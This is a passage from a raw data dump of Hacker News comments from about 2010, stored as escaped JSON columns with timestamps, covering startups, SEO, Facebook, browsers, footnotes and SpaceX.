execution.  How do you create this system that works for users ? Even if you built it, would users even care or care enough to leave facebook ?  Describing the problem is the easy part.\", \"Read this news using Flock 2.6.2 :(\", \"Or is a SEO\"], \"col10\": [1302692366, 1302692353, 1302692349, 1302692344, 1302692235, 1302692210, 1302692209, 1302692132, 1302692132, 1302692108, 1302692013, 1302692006, 1302691981, 1302691929, 1302691900, 1302691866, 1302691829, 1302691826, 1302691823, 1302691814, 1302691798, 1302691794, 1302691772, 1302691731, 1302691639, 1302691611, 1302691569, 1302691566, 1302691555, 1302691552, 1302691519, 1302691497, 1302691487, 1302691441, 1302691422, 1302691410, 1302691406, 1302691367, 1302691355, 1302691255, 1302691219, 1302691186, 1302691158, 1302691109, 1302691102, 1302691035, 1302690999, 1302690928, 1302690903, 1302690846, 1302690819, 1302690732, 1302690671, 1302690603, 1302690598, 1302690587, 1302690562, 1302690551, 1302690515, 1302690475, 1302690456, 1302690447, 1302690379, 1302690337, 1302690310, 1302690282, 1302690265, 1302690198, 1302690191, 1302690178, 1302690116, 1302690087, 1302690081, 1302689954, 1302689890, 1302689870, 1302689870, 1302689803, 1302689787, 1302689764, 1302689737, 1302689735, 1302689718, 1302689690, 1302689567, 1302689554, 1302689457, 1302689455, 1302689426, 1302689378, 1302689338, 1302689327, 1302689244, 1302689235, 1302689228, 1302689194, 1302689188, 1302689145, 1302689097, 1302689077, 1302689039, 1302688937, 1302688885, 1302688865, 1302688851, 1302688819]}, \"column_text\": [1302692366, 1302692353, 1302692349, 1302692344, 1302692235, 1302692210, 1302692209, 1302692132, 1302692132, 1302692108, 1302692013, 1302692006, 1302691981, 1302691929, 1302691900, 1302691866, 1302691829, 1302691826, 1302691823, 1302691814, 1302691798, 1302691794, 1302691772, 1302691731, 1302691639, 1302691611, 1302691569, 1302691566, 1302691555, 1302691552, 1302691519, 1302691497, 1302691487, 1302691441, 1302691422, 1302691410, 1302691406, 1302691367, 1302691355, 1302691255, 1302691219, 1302691186, 1302691158, 1302691109, 1302691102, 1302691035, 1302690999, 1302690928, 1302690903, 1302690846, 1302690819, 1302690732, 1302690671, 1302690603, 1302690598, 1302690587, 1302690562, 1302690551, 1302690515, 1302690475, 1302690456, 1302690447, 1302690379, 1302690337, 1302690310, 1302690282, 1302690265, 1302690198, 1302690191, 1302690178, 1302690116, 1302690087, 1302690081, 1302689954, 1302689890, 1302689870, 1302689870, 1302689803, 1302689787, 1302689764, 1302689737, 1302689735, 1302689718, 1302689690, 1302689567, 1302689554, 1302689457, 1302689455, 1302689426, 1302689378, 1302689338, 1302689327, 1302689244, 1302689235, 1302689228, 1302689194, 1302689188, 1302689145, 1302689097, 1302689077, 1302689039, 1302688937, 1302688885, 1302688865, 1302688851, 1302688819]}"
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They'll tell me, I have this great idea for for you, but you'll have to pay me or give some equity. And all I feel like doing is vigorously shaking them.\", \"You don't have to go down to the bottom of the page - you can still hover over the link and still click it, even though it's not blue and underlined.\", \"Good ideas have more room for error -- you can take a great idea and do good work and still be successful.  Bad ideas require greatness; you have to get it just right.<p>I think it's the wiggle room that a good idea affords that people latch onto.\", \"I thought his assets were just frozen until the divorce was complete?\", NaN, \"Good detective work, but man, there is a reason the summer is called \\\"the silly season\\\" in the journalism trade. :D\", NaN, \"Is Nola Pro good?  <a href=\\\"http://www.nolapro.com\\\" rel=\\\"nofollow\\\">http://www.nolapro.com</a>\", \"This kind of interop error should be seen and fixed in the earliest development and should never reach users; that's the point of deliberately triggering it.\", \"Why, the Twitter service itself. Its called lock-in.<p>Rewrite the licensing to say for non-commercial use only, except under special license. Allow businesses to opt into a licensing agreement for a few hundred bucks a year. Release the hounds on any unlicensed companies.\", \"The likelihood that you're accurately judging the origins of your driving behavior from your keyboard while a cat is on your lap after reading an article like this is 0.0%. I have a dog in the room with me. Let me help you out. You are not a toxo zombie, 'ComputerGuru.\", \"I know of some people who were buying gold ounces at under spot once BCB was factored in.\", \"Atlas was also 50 years ago.\", NaN, \"The same but not as fast.  Usually 3 days to go through the ACH process. I routinely transfer money between my two bank accounts.\", \"whew! I'm glad I passed, though it should be obvious from my submission that my C is far from fluent! I am looking forward to the analysis - thank you for doing this RoG!\", \"How would you implement the UI for browsing search results in this system? Maybe draw some inspiration from map searching UIs.\", \"Okay, here we found an interesting bit:<p>> [...] but you've chosen a label for yourselves that was invented to describe the bad guys.<p>For me, probably randfish and lots of other people, some of them working in this industry, the word SEO just doesn't mean this.\", \"That's a very good idea. I'm going to edit the article, hat tip to you.<p>Edit: done <a href=\\\"http://www.cloudspace.com/blog/2010/06/03/html5-link-prefetching-or-the-most-dangerous-tag/\\\" rel=\\\"nofollow\\\">http://www.cloudspace.com/blog/2010/06/03/html5-link-prefetc...</a>\", \"We should abolish patents.\", \"And the counter is: If IE6 <i>doesn't already appear</i> broken to people out in the world already, in what sense that they care about <i>is</i> it broken?\", \"Which is probably why he <i>didn't</i> say that. The article has useful information and cautions people to think through the consequences before using the feature. It doesn't claim, at any point, that the feature will hurt the users.\", \"I can participate as a seller in the Apple App store. I cannot in the Android Marketplace.<p>Unless and until Canada is a first-class country on the Android marketplace, I won't even <i>look</i> at developing for Android.<p>(Granted, I probably won't do much with it even after that, because I hate Java with a passion and don't want the nasty performance hit that alternative languages currently have on Dalvik, but that's a different argument.)\", \"Why are you hiding this binary behind bit.ly?  Why not the webpage for this app?\", \"if your schedule is s.t. you can put an end to busy, you're not working hard enough.\", \"Another epic MS failure.  They should just rename the company \\\"XBox\\\"\", \"> Why was this submitted again?<p>Why? I only submitted this once. The first submitter may have deleted his submission. Actually, there is no way to know what that linked to for sure.<p>> jrockway already did an excellent point-by-point rebuttal<p>Quote: \\\"Bad science: OK, I'm tired of reading this tripe now. (Next)\\\"<p>Excellent rebuttal indeed. Who upvotes this?! I for one think \\\"Bad Science\\\" is spot on. It's a shame the taxpayers have to foot the bill.\", \"The TFA asks \\\"how do you test for Toxo\\\" - the answer: <a href=\\\"http://www.webmd.com/food-recipes/food-poisoning/toxoplasmosis-test?page=2\\\" rel=\\\"nofollow\\\">http://www.webmd.com/food-recipes/food-poisoning/toxoplasmos...</a><p>That article really made me shudder:\\\\n<i>A small literature is coming out now reporting neuropsychological testing on men who are Toxo-infected, showing that they get a little bit impulsive. \\u2026 And then the truly astonishing thing: two different groups independently have reported that people who are Toxo-infected have three to four times the likelihood of being killed in car accidents involving reckless speeding</i><p>I have a cat (and have always had one) and am in constant close contact (she's literally in my lap non-stop while I'm at home) and I sometimes (often?) forget to clear the cat litter for days (yuck, I know). And I have this thing where I always feel I'm <i>simply not going fast enough</i> while on the road (140kmph on mountain roads is normal for me during my 90km one-way daily commute). Am I just overreacting (traditional self-diagnosis) or is this really worth looking into?\", \"As far as Facebook iconography goes, this isn't nearly as creepy as That Guy from Facebook's old logo: <a href=\\\"http://mashable.com/wp-content/uploads/2007/04/facebookguy.PNG\\\" rel=\\\"nofollow\\\">http://mashable.com/wp-content/uploads/2007/04/facebookguy.P...</a><p>Frankly, it seems to be in the general category of vaguely strategy-conveying graphics that a lot of companies employ. It's nowhere near as bizarre as, for instance, the graphics underlying the rationale behind the Pepsi rebranding last year, conveying such concepts as \\\"Relativity of Space and Time\\\", \\\"Gravitational Pull of Pepsi\\\", \\\"The Pepsi Ratio\\\", the comparison of \\\"The Earth's Geodynamo\\\" to \\\"The Pepsi Globe\\\" and \\\"Magnetic Fields\\\" to \\\"Pepsi Energy Fields\\\", and the not-quite-orthagonal axes of \\\"Convention to Innovation\\\" and \\\"DNA to Future\\\" projected through the old Pepsi logo to create the new one: <a href=\\\"http://www.fastcompany.com/files/PEPSI%20GRAVITATIONAL%20FIELD.pdf\\\" rel=\\\"nofollow\\\">http://www.fastcompany.com/files/PEPSI%20GRAVITATIONAL%20FIE...</a>\", \"Wait... SQL <i>causes</i> lock-in? I admit that some of the extensions are rather useful, but...\", \"<i>Sorry, but there truly is no (good) excuse for any IT dept to restrict users to IE6.</i><p>You can't install IE7 or 8 alongside 6 and no other \\\"modern browser\\\" has any kind of reasonable group policy management support or administrative control over updating or extension policies.\", \"Oh, <i>come on</i>! \\\"Childish and creepy\\\"? Complaining about privacy issues is one thing, but finding stupid excuses to slam a person is something quite different.\", \"You bring up an interesting topic.  Is the idea of Freedom valuable with no execution?<p>Freedom itself is almost priceless.  I am well aware that the freedoms I enjoy now was bought with the blood of many who went before me.  But that was the very costly execution that made freedom a reality.  Is the idea, without tht execution to create freedome itself, of great value?\", \"SpaceX has had at least one crash before:<p><a href=\\\"http://www.npr.org/templates/story/story.php?storyId=5315156\\\" rel=\\\"nofollow\\\">http://www.npr.org/templates/story/story.php?storyId=5315156</a>\", \"I agree with dinde: I don't see what the big deal is about. The comments about a 'cult' and the Illuminati were clearly jokes during the interview. (see <a href=\\\"http://d8.allthingsd.com/20100602/whats-under-mark-zuckbergs-hoodie/\\\" rel=\\\"nofollow\\\">http://d8.allthingsd.com/20100602/whats-under-mark-zuckbergs...</a>)<p>It's like asking if all the birds pictured in the Twitter office are a proof that Twitter is in fact a bird-oriented cult and they're striving for world-domination done by birds. Or saying that Google thinks their users are kids because of the primary colors they put everywhere.<p>Mark Zuckerberg loves hoodies. He built a giant company. So, of course, they'll make some company hoodies and sometimes they'll add something more than the Facebook logo, something that represents what the company is about.\", \"ouch\", \"Just like XBox business, Bing is also another loss leader for Microsoft. Obviously Microsoft would do anything to get market share since they have a gigantor war-chest. A year later with all the cheers from its usual supporters, Bing managed to get \\\"some\\\" increase on traffic. Well, I wonder how much of those are directly coming from Facebook search which Microsoft has a lot of stake in.\", \"I think you already learned your lesson, but I want to repeat for all the others: SEO and non-programmer doesn't really fit.<p>Think about what the job of a SEO is: Make Google like the site more. How does it work? Make a better site, that gets more links. Okay, the \\\"get more links\\\" part is possible without any technical knowledge. But if the site is crap, this won't help. So how could anybody make a html site better without being a web programmer? Yeah, right....\", \"I feel the same way about saying physical gestures like \\\"<i>shrug</i>\\\". And also about \\\"Wow. Just Wow.\\\" But I can master my distaste for those; they're not why I mentioned it. Who knows what the line is?<p>Maybe it's more because using gay terms as pejoratives is a nasty habit and we should stamp it out rather than try and equivocate just because they're familiar.\", \"More likely from seeing my tweet: <a href=\\\"http://twitter.com/KuraFire/status/15401140612\\\" rel=\\\"nofollow\\\">http://twitter.com/KuraFire/status/15401140612</a>\", \"Sure, my email is in my profile.\", \"In a word, no.\", \"Looks like a great way to burn through 50Million in 2 years:<p><a href=\\\"http://en.wikipedia.org/wiki/Jellyfish.com\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Jellyfish.com</a>\", NaN, \"I got $150 off of a camera bought through eBay b/c of Bing. I can't imagine how they ever thought that made business sense.\", \"Lack of browser chrome does not a native app killer make.\", \"That post needs some heavy duty clarification.\", \"There's a firefox plugin. <a href=\\\"https://addons.mozilla.org/en-US/firefox/addon/5392/\\\" rel=\\\"nofollow\\\">https://addons.mozilla.org/en-US/firefox/addon/5392/</a> It has been a while since I last used it but it generally gave good indications.\", \"Link for confirming your account via phone:\\\\n<a href=\\\"http://www.facebook.com/confirmphone.php\\\" rel=\\\"nofollow\\\">http://www.facebook.com/confirmphone.php</a><p>Also, confirming your account allows you to use site features without having to enter CAPTCHAs and also allows you to upload High Quality video to the site.\", \"I agree.  The closest thing that page provided to concete advice was to avoid busy work and talk to your boss.<p>But that runs into two immediate problems.  The first is that unless your boss already thinks you are genuinely overworked, they are not likely to be too sympathetic to you wanting to work less.<p>Now, if you can identify specific tasks that you think are busy work, you may get your boss to remove those or explain why they are not busy work.  Of course, those tasks may then be replaced by others.<p>And this also brings me to the second point.  Busywork should be avoided, but you need to make sure it is busywork.  Your boss may very well have a good reason to have given you a task that you just don't see from your point in the organization. It may be worth asking him/her about so you can better understand why you are doing those tasks, but that does not mean you should unilaterly decide they are busy work and stop doing it.<p>Of course that only addresses work.  Outside of work you may have more control, but even there your actions likely impact others and this should be considered when cutting things out.  A proverbial soccer-mom may easily free up 3 hours a week by removing her child from soccer, but this will certainly impact the child.\", \"There is no real A/B testing for SEO, sorry. As you say, there is only one Google.<p>You can try to simulate a 'test' with two equal throwaway sites, but this will never give you the same insight as using it on a big site with real content and real visitors. But it can help you find problems in linking structures, tweak the (really small) benefits of using one or another html tag.<p>The success of SEO can't be isolated. But, increased crawling of the page and disproportionate visitor growth from Google are good signs.\", \"Perhaps if we redefine language to include data communications protocols, and the only difference is in how the protocols are interpreted by the receiving device, I can agree with you.\", \"This blog post is short on details, but I assume he's referring to FB's change from a couple days ago that <i>developers</i> have to verify their accounts. And yes, I too had trouble with the SMS verification, but a) that hardly forces me to use FB payments, b) devs are a tiny fraction of their userbase, c) stuff for devs are broken all the time on FB, and d) never attribute to malice that which can be explained by incompetence.\", \"Excellent Radio Lab episode on this and other parasites: <a href=\\\"http://www.wnyc.org/shows/radiolab/episodes/2009/09/25\\\" rel=\\\"nofollow\\\">http://www.wnyc.org/shows/radiolab/episodes/2009/09/25</a>\", \"Awesome - big congrats to SpaceX and the team there!!\", NaN, NaN, \"Anyone else get faster in there area? Want to make sure this isn't some bs claim.\", \"I hope that once it's sealed they recover the blowout preventer and figure out why it failed.\", NaN, \"I totally disagree. Age means less and less with each passing day. Zuckerberg's bad press comes from the fact that he has a huge and highly-vocal userbase and he implements features that they don't like, or at least, in a way that they don't approve of even if the features themselves rock. That, and he's a bit too eager to capitalize on his successful platform, willing to take risks with user privacy and data \\\"pushing the boundaries\\\" so to speak in order to find out what users are willing to put up with and what they're not.<p>When it seems like almost everyone you know has a facebook account, there are bound to be complaints. It has nothing to do with age, it has everything to do with centralized power.\", NaN, \"I'm not sure I agree.  You may describe an underwater setting by saying \\\"there is a clump of seaweed floating 3 meters above  , 10 meters in front of, and 2 meters to the left of your current location, and a shark hiding about 20 meters behind the clump of seaweed\\\", but it's much more efficient for you to send me a JPEG image of it, or better yet, a 3d image of it.  I think this is how most scientists believe that dolphins communicate.<p>This is sort of like the difference between playing a text game like Zork or a 3D MMO like World of Warcraft.  English only descriptions leave the details up to your imagination.  3d graphic imagery communicates the actual picture.\", \"BCB is still alive and kicking until July 30th at 9:00 pm PST.  Buy away fellow HNers.\", NaN, \"Oh no, another land rush for a name space yet again.\\\\nMissed the domain name rush.\\\\nDitto the Twitter rush.\\\\nAnd now this -\\\\nQ: what's your worldoftext handle that you're homesteading for $8.99 a year?\\\\nA: <a href=\\\"http://www.yourworldoftext.com/all_the_good_names_were_gone\\\" rel=\\\"nofollow\\\">http://www.yourworldoftext.com/all_the_good_names_were_gone</a>\", \"Is this to get a Facebook account? They are actually asking people to submit a credit card to get a Facebook account? If this is true, wow. I can't think of any reason I'd give Facebook my credit card number.\", \"As cliche as it sounds, I definitely see an ad-based revenue stream coming here.\", \"Perfect reply. Thanks!\", \"You make fine points and I agree.<p>But if I may, it can be expanded on.  In mathematics, a theorem is an idea combined with proof.  In short, the idea is combined with the knowledge that it is a true and accurate fact (at least within the domain you are working in.  Things are true in C that are not true in R), along with some idea why it is true emboddied in the proof.  It is this combination of the idea with knowledge it is right that makes it valuable.<p>To be slightly more concrete, the idea that P = NP is not overly valuable.  It is not yet proven either way and it could be true or false.  A full proof would be tremendously valuable, and very surprising to many who are very confident P != NP.  Creating a proper proof seems much more akin to writing the novel than it is to having the idea for the novel.\", \"The oil is biodegradable. Very biodegradable actually. All you need is oxygen.<p>In deep water there isn't much oxygen, and when it coats shores only the top layer degrades (so it takes some time). But if you can spread it out it will all be gone.<p>And once degraded it leaves no residue at all.\", \"It seems like something new to check for on your DB heavy pages.  You could ignore requests with that header if your servers can't handle the additional traffic.\", \"OK, fair enough\\u2014the downvotes have spoken clearly.<p>Truth to tell, I looked at the article for contact information\\u2014obviously far too cursorily\\u2014and, when I didn't see it, figured that the author would be likely to spot it on Hacker News.  (I have since e-mailed the author.)\", \"This is quite scary, actually. Since when is email not a sufficient form of user validation?  Facebook may have an entirely new issue on their hands.  Their PR team is going to be even busier than the peak of the privacy settings fiasco.\", \"do you mean that\\\\na) you have transferring disabled for your account<p>or<p>b) that your bank doesn't let you do that?\", NaN, \"And the mom and the girlfriend and...\", \"Dave McClure comes off pretty poorly in my opinion, everyone else came off very intelligent with excellent points.<p>EDIT: To back up my point about Dave, he focuses completely on building profits. Its easy to say \\\"Hey Apple makes 7cents on the dollar\\\" but it shows a lack of foresight.\", \"Are keychain generators common outside the US?  I'm curious why physical measures like this aren't more common.\", \"Personally, whenever I find a superscript I compulsively go to the footnote and back. I think of footnotes as asides which would be too long to put in parentheses. (I do ignore footnotes that just go to citations.)\", \"When I decided to focus on the things that matter in my life, I got much busier. Sure, I have fewer items on my todo list now, but each one of them takes a lot of time, energy, and focus to get right. When I was less focused, I had plenty of free time because I didn't realize how much work it takes to get the most important stuff right.\", \"That's what I don't get: Where do you get the \\\"shady industry\\\" stuff from?<p>SEO is just one more tool in you toolbox. Easy to learn, hard to master, but massively effective.<p>And yes, there are lots of (very vocal) idiots out there. But this type of people is in every industry. So I don't get it why so many people see them as \\\"the industry\\\".\", \"Keep in mind that there are 400+ YC founders out there now, and we roll deep. A lot of us do keep tabs on Hacker News and we do vote up and support our friends.<p>So no juice needed. Just regular voting.\", \"It's a support \\\"issue.\\\"  Large IT departments will say that it requires extra support to install a second browser.  Is it worth the \\\"extra\\\" cost in time and support?<p>As a developer, in some organizations, you can't install anything on your own machine.  So, you can't get your software to work on Firefox, for example.  All your software simply has to work on the company standard browser.  The idea is that you'll deal with it later...and 8 years later...\", \"Yeah I doubt RIM would agree with you. That is just one example.\", \"<i>\\\"This is essentially the same mechanism used by sailboats tacking against the wind, and despite being counterintuitive at first is well-established.\\\"</i><p>Tacking is different from this.  This is using ground-speed to generate thrust, as even the shills acknowledge.<p><i>\\\"The speed is limited only by gearing and mechanical efficiency--an idealized device could accelerate arbitrarily.\\\"</i><p>Arbitrary magic acceleration inside an atmosphere should be your first clue that something's <i>extremely</i> wrong here.<p>And yes, I looked at the various forum links that turned up, which made very clear the very typical full-court astroturf press going on (like the argument above with someone who registered only to argue with unbelievers in this thread).  You might take a look.<p><i>\\\"Sticking with a knee-jerk reaction against something while ignoring further information that supports it gives \\\"skeptics\\\" a bad name.\\\"</i><p>Skeptics get a bad name because they don't join in the squee.<p>All I ask is that <i>you</i> look at the further information.  Check back on this story in months and years and see whether it pans out.\", NaN, \"I was going to post something similar but decided against it at first but seeing as it looks like I'm not the only one that thinks so...<p>The article comes off as extremely biased and seems (to me) to pass off a number of opinions as fact in order to slam Zuckerberg some more (the \\\"trend du jour\\\" of bloggers these days).<p>I thought I was going to read an article with some comments from Facebook regarding a new PR campaign or something based on the article's \\\"And What It Means\\\" line.  Not some blogger's artistic interpretation.\", \"His end users deserve better. He's wilfully confronting them with interop failures they aren't in a position to understand, much less do anything about. Testing is a burden which should be borne by developers.\", \"I always hit \\\"Report Spam\\\", works for everything except me@s\\\\ni have no problems with my personal domain, but if e-mails are addressed to my gmail account in me@ list that fails.\", NaN, NaN, \"I'm investing in asteroid mining <i>now</i>...\", \"I don't think the rest of the world cares that much. US software patents don't mean much to anyone outside the country...\", \"Coz OSX doesn't run >90% of world's computer. Else it would have been same\", \"Actually, Posterous has a web editor that's super powerful and easy to use. You can post all content including media without using email if you want\", \"user guide, nice. hope they have a Python API!\", \"There's seems to be some disagreement and debate here about what is \\\"less distracting\\\" between superscripts (followed by footnotes) and links.  To me this seems obvious since one adds text to the sentence (literally a number) and the other has only an underline to signify its presence.  However, it just occurred to me that this is not what this debate is about.<p>The distraction in this context is not defined by the presence or absence of text, it's the perceived value of the content there.  I think historically footnotes have been of lower value to the reader than links.  Take wikipedia as an example: for info that is absolutely necessary to understand the article there is a link, and for further reading or references there is a footnote.  Maybe we have been conditioned to think links are necessary reading because of their historical use, and that's why one camp sees them as \\\"more distracting.\\\"\", \"What Apple is doing with their App store policies is far worse than packaging IE with windows or using proprietary .doc format by default for word files.<p>It would be hard for Apple to reach market shares as great as MS, if they do you will see them hit equally hard for breaking monopoly rules.\", \"Even the main stick man character is the Author's own voice (or that's how I read it).  So that's the most prominent character.  His \\\"Dilbert\\\" if you will...\", \"Title is link bait. They're talking about the HTML code you can put in your header to kill Safari GUI elements.\", \"Would you agree the \\\"describing\\\" issue you raise is the same as \\\"English can <i>describe</i> what it feels like to be pinched, but cannot make you <i>feel</i> a pinch\\\"? No dolphins are needed, it's the issue of qualia.<p>A universal language can express anything that can be expressed in language. If qualia are outside the realm of language, that wouldn't make English less universal.<p>You may say dolphins use a language, and then feel qualia in response. Similarly, we can imagine a human who is genetically engineered for his skin to pinch when he hears certain sounds, so that he would feel the pinching quale. I think in neither case should triggering hardware features by sound be considered language. A nice example is \\\"clap on\\\" devices -- surely that's not language.\", \"Since you asked for me to explain it to you, I'll do so.<p>As someone who has hired many people I've learned that people with so little interest as to spend five minutes looking us up are typically generally lazy (even outside the context of our company) and specifically may be incompetent.<p>At the point of looking at resumes I have very little to go on.  If the resume comes in with Kool Aid stains on it, and states that you'd like any job that pays, preferably working with hot chicks, I'm less inclined to spend much time with your resume.  Everyone says they're a professional.  Unless I'm desperate to hire someone, the burden of proof is on you. And the fact of the matter is if I'm getting 500 resumes, and 50 of them can point to having reverse engineered our object-model in high school, why does your resume asking \\\"what is it that you guys do again?\\\" merit a second look.<p>Maybe in a world where you're especially in demand, what you suggest is fine.  If I get Sergey Brin or David Cutler's resume on my desk, I'll call them and let them know what we do.  But if you're random dev -- well you need to prove you're not JUST a random dev.<p>And this really is relative.  If you're applying for the most coveted dev role in the world, you need to show more in the resume than if you're applying to fix bugs in the Waste Management LOB app written in COBOL from 1979.\", \"I liked Readability, but since I got a Kindle I am in love with Instapaper. Does more or less the same thing, but pushes it to your ebook reader. I hope they add a similar feature.\", \"The article actually covers that:<p>Virtually every single one of the large sites does it:<p>\\\"Think switching pricing on your users is is unfair or clumsy? The biggest ecommerce sites in the world have been doing it since the turn of the millennium!\\\"<p>Links to:<p><a href=\\\"http://www.wired.com/techbiz/media/news/2000/09/38622\\\" rel=\\\"nofollow\\\">http://www.wired.com/techbiz/media/news/2000/09/38622</a><p>If you have a lot of returning customers offer a price-drop gaurantee or similar.\", \"I'm pretty sure submissions about YC funded companies are juiced.\", \"You can't host your own Posterous and it has fewer features and no third party plugins but it's easier to use, has built in syndication to TwitFace, and is probably far more secure than WordPress.<p>(Edit: How is this wrong? Was it my playful nickname for Twitter and Facebook collectively?)\", NaN, NaN, \"It's not really compulsory in the sense that someone is making you participate. It's simply the peer pressure. Here's some \\\"anecdata\\\" to illustrate the point: I don't have a Facebook account anymore, but my wife does. Anyone among my friends and family who wants to see my son's photos is told to go to my wife's photo gallery. Sure, we could use Picasa or Flickr or even e-mail, but she's already using Facebook and it's easier that way. So if a friend or family member wants to see the photos and doesn't have a Facebook account, they have an additional small incentive to get one.<p>Facebook has become one of those things everyone mentions now and then. You can use it to keep in touch with high school friends (even those you didn't like in the first place), to exchange gossip, to kill time (if you think mindlessly watching TV is the worst you can do with your time, think again), etc. If everyone around you uses it for something and mentions it often enough, you'll feel left out of that. Those of us who can say \\\"well, I'm glad to be left out of <i>that</i>\\\" are a minority.\", \"A slight correction for the article:<p>They say, \\\"You\\u2019re not going to win me over if I have to own a Mac or use a nightly build to see something,\\\" but if you have a Webkit nightly on Windows you'll still see that same message telling you to use Safari on OS X.<p>So, basically you'll need a Mac to see any CSS 3D transforms. It's because that portion of Safari relies on the Core graphics framework.\", \"I think this is the first time I have seen an (almost, I know, not complete) dupe on the front page.\", \"That\\u2019s an absurd comparison. Generating mathematical conjectures and then proving them takes decades of preparation and careful study and analysis of a difficult problem. Generating a movie plot idea at the level Adams is talking about takes, with no preparation, a few minutes and a dinner napkin.<p>The equivalent kind of \\u201cidea\\u201d in mathematics might be \\u201cI\\u2019m going to understand and model heat dispersion in a block of metal\\u201d, with the \\u201cexecution\\u201d being developing the underlying machinery (partial differential equations) gathering enough data, and building a model (the heat equation) that fits the data and can be used to compute practical approximations. The \\u201cidea\\u201d part can be done by anyone; the execution is made up of decades of hard work and hard thought by several of the world\\u2019s most famous mathematicians, building on centuries of previous effort.\", \"Scoring free rent and food sounds like almost as much work as the startup itself.<p>I guess if you're in a college town, you could just pretend to be a student and attend student club meetings for the free pizza. I don't know how to handle the rent. You could always seduce girls, I guess. But that seems time consuming. And if you can score free food and seduce girls <i>already</i>, maybe your youth would be better spent that way rather than in a startup?\", NaN, \"\\\"WARNING! Tynt Blocker has detected Tynt.com's tracer script in use on this site.\\\"<p>I can't recommend this Chrome extension enough. :)<p><a href=\\\"https://chrome.google.com/extensions/detail/achmnghbfplhfomhiohmojicomlgmkam\\\" rel=\\\"nofollow\\\">https://chrome.google.com/extensions/detail/achmnghbfplhfomh...</a>\", \"How does it work in the US?\", \"A sphere sounds quite unlikely. Maybe a torus, though.\", \"Ah yes... His ex is actually blogging, on livejournal of all places. Cool to get a view from the other side.<p><a href=\\\"http://moschus.livejournal.com/141570.html\\\" rel=\\\"nofollow\\\">http://moschus.livejournal.com/141570.html</a>\", \"It's cute to see someone's intelligence being insulted in a syntactically ill-formed sentence.\", \"Very refreshing to read straight up reasoning. I was expecting a lot of spin (I wonder what they wrote in the message they sent free users)<p>Instead some really good points for a fully paid model. They can be more targeted in their acquisition and measuring. Makes sense.\", \"I never understood why microsoft doesn't roll out it's own adsense+adwords. It only makes sense to do it with bing.\", \"Doesn't seem like a big deal to me. I think a lot of Zuckerberg's bad press comes from his age: i.e., people are jealous of his success.\", \"Do you think that tech training is a decent market in general, or just for this one industry?\", \"I made something like this awhile ago, it's not as nicely done though: <a href=\\\"http://wall.bot.nu/\\\" rel=\\\"nofollow\\\">http://wall.bot.nu/</a> (wait till the red cursor scrolls all the way to the bottom)\", \"Seems like they are actually following the mantra of releasing a dead simply product quickly, and the slowly adding more features so that in the end, the users might as well have signed up for WordPress or Tumblr or similar sites in the beginning. Clever.\", \"It helps that the design is similar to that of the Falcon 1, which has already been successfully launched a few times. It uses the same engines, and I think it has a lot of the same electronics. (Fun fact: they use Ethernet for their avionics, replacing what would have been horrible tangles of wires in older rocket designs.)\", \"Can we chat on AIM/email?\", \"Would you be up for an email/AIM chat about this?\", \"So do I, and it's a pain. some of my CSS files feel bloated and unnecessarily big,  but it's an even bigger pain to go through the whole codebase and check everything out by hand.<p>It's a problem and if there's a solution out there it would make me very happy.\", \"I can't wait for the next headline:<p>Posterous Reveals Radical New Feature: FRAMES!\", \"I never directly follow hyperlinks a page that I'm still reading. Instead I middle-click to open them in a new tab, and continue reading in my current tab until I'm done (or until I get stuck and need the info from a linked page to continue). Only then will I look at the new tabs. This works pretty well for maintaining concentration, but it's only accessible to users who understand tabbed browsing and go out of their way to develop the habit.<p>I wonder if a better interface than footnotification would be to make the hyperlinks not immediately open the new page, but instead add the linked page to a list displayed at the bottom or side of the document. This way, you could click on any links that seem interesting and get a list of them to follow later.\", \"Let's not be snobby about ads. Relevant ads actually help people. I l-l-l-like the ads on google. There I said it.<p>Why was that so difficult? Simply because my opinion of ads is colored by mass marketed ones that are not relevant the vast majority of the time. I see them, more or less by accident, trapped in a passive moment.<p>Ads of the future will seem more like helpful suggestions as I go about my day. Look at Kayak. It's essentially nothing but a marketing tool and I love it.\", \"Thanks for the kind words Jon. Didn't expect to see you around on HN. :)\", \"Hrm. I guess I'm just strange then. I always read footnotes as soon as I run into them.\", \"Spent 30 minutes scrolling to the side following the trail that promised infinite treasures. After a endless track following footprints through the whitespace desert, behold,  an oasis of poetry and song. It was like Columbus landing in the new world.\", \"Thanks! But the darn \\\"buffering\\\" skipped over some of the good parts...\", \"My understanding is that the correct way to handle this is to pay yourself as an employee.<p>I run my personal payroll through Intuit online payroll with direct deposit. It costs me a few bucks each month, but the time I spend not thinking about payroll is well worth it.\", \"Yea it seemed ridiculously flawed. At one point they were offering 30% off whatever you bought on ebay, and I had Microsoft pay me $200 to get a new Macbook.\", NaN, \"True, but actually calling someone a fanboy is a very reliable way to end a productive conversation and debate (or prevent one from starting).  It's an indication that you're not going to listen to anything the other person is going to say because they're so heavily biased.<p>That's why I wish people wouldn't use the word.\", \"I don't know about this. Wouldn't you piss off customers if you switch prices on them too much? The Internet tends to keep information. If someone sees that your product used to cost 9.95 and now you are charging 19.95 for it, they would feel cheated paying the higher price, and probably would not pay. And you would not get a chance to explain that you were just testing price elasticity.\", \"You can't really be sure without running all of your javascript code and checking all of your pages, after all some hidden bit of javascript might change a style based on some event to match one in the css, it might even do it by combining various terms to form the selector, and it might manipulate the ids and classes of elements already on the page.<p>That's a tricky problem. I'm not aware of a tool, but if you find one I'll be happy to test it, I have a few of those questionable items in my style sheets that are still there 'just in case'.\", \"I've stayed in Steven's apartment before while working on Anticlothes.  Great building and location in Austin.  And he's a stand up guy and super talented designer.\", \"That comment uses an odd rhetorical technique -- the poster claims that the article uses \\\"blatant doublespeak\\\"... while ironically writing a long response claiming that he's refusing to write the response that he's writing.<p>Ok, interesting use of sarcasm (at least I hope that's sarcasm), but I'm not sure why someone would write a counter-argument, when even the post you're responding to is inviting him to make his argument in the first place. ;)\", \"Insurance, Insurance, Insurance.<p>Specifically Health and P&C lines. Although Health Insurance is starting to see some innovation in the US.<p>Reasons:<p>1. Perceived high barrier to entry, yet that isn't the case.\\\\n2. Major players are tech dinosaurs at best.\\\\n3. Small brokers (potential customers) dominate the landscape.\\\\n4. Legislation keeps markets small because there is little in common from one area to the next - everything is niche.\\\\n5. SV thinks it's boring, so you don't need to be the second coming of Steve Jobs to be very successful.\", NaN, \"Site Catalyst:\\\\n<a href=\\\"http://www.omniture.com/en/products/online_analytics/sitecatalyst\\\" rel=\\\"nofollow\\\">http://www.omniture.com/en/products/online_analytics/sitecat...</a>\\\\nIt's not free though. :/\", NaN, NaN, NaN, \"It seems to be a common problem that as stylesheets mature and the project grows that 